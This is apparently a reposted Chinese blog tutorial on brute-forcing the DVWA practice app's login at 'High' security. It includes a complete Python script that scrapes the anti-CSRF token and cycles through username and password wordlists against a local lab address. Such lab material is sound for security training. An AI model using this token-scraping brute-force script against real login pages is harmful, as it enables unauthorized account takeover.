欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

编写DVWA暴力破解High级别的Python脚本

程序员文章站 2022-07-06 07:52:14
1. 过程(不查看源代码) 使用burpsuite或者owasp zap抓取数据包,可以看出页面执行过程如下: 首先获取上一次请求的token,然后sleep几秒,最后使用get方法提交验证。 2. 原理 访问暴力破解的页面,获取token; 带入参数再次访问该页面进行破解。 3. 仿照 搜索类似代 ......
1. 过程(不查看源代码)
使用burpsuite或者owasp zap抓取数据包,可以看出页面执行过程如下:
首先获取上一次请求的token,然后sleep几秒,最后使用get方法提交验证。
2. 原理
访问暴力破解的页面,获取token;
带入参数再次访问该页面进行破解。
3. 仿照
搜索类似代码,编写暴力破解的代码。
4. 模拟登录
在最初访问该页面时,实际访问的页面是dvwa的login.php。
需要在访问页面时设置header的cookie。
r = requests.get(url, headers=headers)

5. 查找token

可以使用re(正则表达式)查找。
也可以使用beautifulsoup查找。
由于响应页面的user_token没有id,所以不能使用id进行查找。
可以看到,user_token是第4个input,因此可以通过查找input,获取token的值。
url = "http://%s/dvwa/vulnerabilities/brute/" % ip
r = requests.get(url, headers=headers)
soup = beautifulsoup(r.text, "html.parser")
token = soup.find_all("input")[3].get("value")
6. 完整代码
# -*- coding: utf-8 -*-
# author = 'k0ctr'
 
 
import requests
# import re
from bs4 import beautifulsoup
 
 
ip = "192.168.203.128"
headers = {
    # "user-agent": "mozilla/5.0 (windows nt 10.0; win64; x64; rv:65.0) gecko/20100101 firefox/65.0",
    "cookie": "security=high; phpsessid=5qa8beu11tlu6s79pfdv2jluk7"
}
 
 
with open("small.txt", 'r', encoding="utf-8") as names:
    for username in names:
        with open("common_pass.txt", 'r', encoding='utf-8') as passwords:
            for password in passwords:
                url = "http://%s/dvwa/vulnerabilities/brute/" % ip
                r = requests.get(url, headers=headers)
                soup = beautifulsoup(r.text, "html.parser")
                token = soup.find_all("input")[3].get("value")
                # token = re.findall(r"(?<=<input type='hidden' name='user_token' value=').+?(?=' />)", r.text)[0]
                get_data = {
                    "user_token": token,
                    "username": username.strip(),
                    "password": password.strip(),
                    "login": "login"
                }
                print('-' * 20)
                print('用户名:', username.strip())
                print('密码:', password.strip())
                r = requests.get(url, params=get_data, headers=headers)
                if 'username and/or password incorrect.' in r.text:
                    print('破解失败')
                else:
                    print('破解成功')
                print('-' * 20)